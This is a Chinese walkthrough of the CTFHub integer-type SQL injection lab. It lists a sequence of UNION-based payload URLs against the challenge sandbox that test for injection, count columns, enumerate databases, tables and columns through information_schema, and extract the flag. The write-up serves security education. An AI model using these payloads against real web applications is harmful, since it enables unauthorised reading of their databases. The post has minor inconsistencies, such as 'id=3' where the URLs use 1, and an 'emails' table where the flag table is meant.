CTFHub 整数型SQL注入

1、整数型SQL注入

(1)判断是否存在注入

1)加单引号

URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=1’

对应的sql:select * from table where id=3’ 这时sql语句出错,程序无法正常从数据库中查询出数据,就会抛出异常;

2)加and 1=1

URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=1 and 1=1

对应的sql:select * from table where id=3’ and 1=1 语句执行正常,与原始页面如任何差异;

3)加and 1=2

URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=1 and 1=2

对应的sql:select * from table where id=3 and 1=2 语句可以正常执行,但是无法查询出结果,所以返回数据与原始网页存在差异

如果满足以上三点,则可以判断该URL存在数字型注入。

 

(2)查询字段数量

URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=1 order by 2

当id=1 order by 2时,页面返回与id=1相同的结果;而id=1 order by 3时不一样,故字段数量是2。

 

(3)查询SQL语句插入位置

URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=-1 union select 1,2

此时要先保证之前的数据查不出来,之后再union。id=-1数据不存在数据库中。可以看到位置2可以插入SQL语句。

 

(4)获取数据库库名

1)获取当前数据库库名

2位置修改为:database(),version()

URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=-1 union select 1,database()

得到数据库名称为:sqli,由数据库版本可知他是MySQL的一个分支

2)获取所有数据库库名

URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=-1

union select 1,group_concat(schema_name)from information_schema.schemata

    3)逐条获取数据库库名

语句:select schema_name from information_schema.schemata limit 0,1;

 

修改limit中第一个数字获取其他的数据库名,如获取第二个库名:limit 1,1。

 

(5)获取数据库表名

1)方法一:一次获取一个表名

2位置修改:select table_name from information_schema.tables where table_schema='sqli' limit 0,1;

得到数据库表名:news。修改limit中第一个数字,如获取第二个表名:limit 1,1,这样就可以获取所有的表名。

2)方法二:一次性获取当前数据库所有表名:

URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=-1

union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

        得到数据库sqli中的表名为news和flag

 

(6)获取字段名

1)方法一:

以flag表为例,2位置修改为:

select column_name from information_schema.columns where table_schema='sqli' and table_name='flag' limit 0,1;

URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=-1

union select 1,(select column_name from information_schema.columns where table_schema='sqli' and table_name='flag' limit 0,1)

看到flag表中第一个字段是flag, 修改limit中第一个数字,如获取第二个字段名:limit 1,1,依次类推,发现flag表中的字段名称只有一个flag。

2)方法二:

以flag表为例,一次性获取所有字段名:

URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=-1

union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag'

(7)获取数据

1)方法一:

以emails表为例,2位置修改为:

(select flag from sqli.flag limit 0,1)

URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=-1 union select 1,(select flag from sqli.flag limit 0,1)

可以得到flag表中的第一条数据,修改limit中第一个数字,如获取第二个字段值

2)方法二:

以flag表为例,一次性获取所有数据:

URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=-1 union select 1,group_concat(flag) from sqli.flag

  • 18
    点赞
  • 35
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值